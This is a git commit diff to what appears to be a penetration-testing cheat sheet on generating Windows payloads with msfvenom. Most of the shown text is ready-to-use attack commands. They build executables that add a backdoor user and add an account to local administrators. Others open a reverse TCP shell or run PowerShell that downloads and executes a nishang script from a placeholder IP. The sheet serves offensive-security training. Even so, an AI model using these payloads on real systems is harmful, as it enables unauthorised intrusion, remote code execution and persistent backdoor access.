GitBook: [master] one page modified

This commit is contained in:
CPol 2020-12-15 09:10:57 +00:00 committed by gitbook-bot
parent 07276bd9d8
commit e463fac3c6
No known key found for this signature in database
GPG key ID: 07D2180C7B12D0FF

View file

@ -47,10 +47,11 @@ msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
```
### **Execute Command \(powershell nishang\)**
### **Execute Command**
```bash
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f python
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
```
### Encoder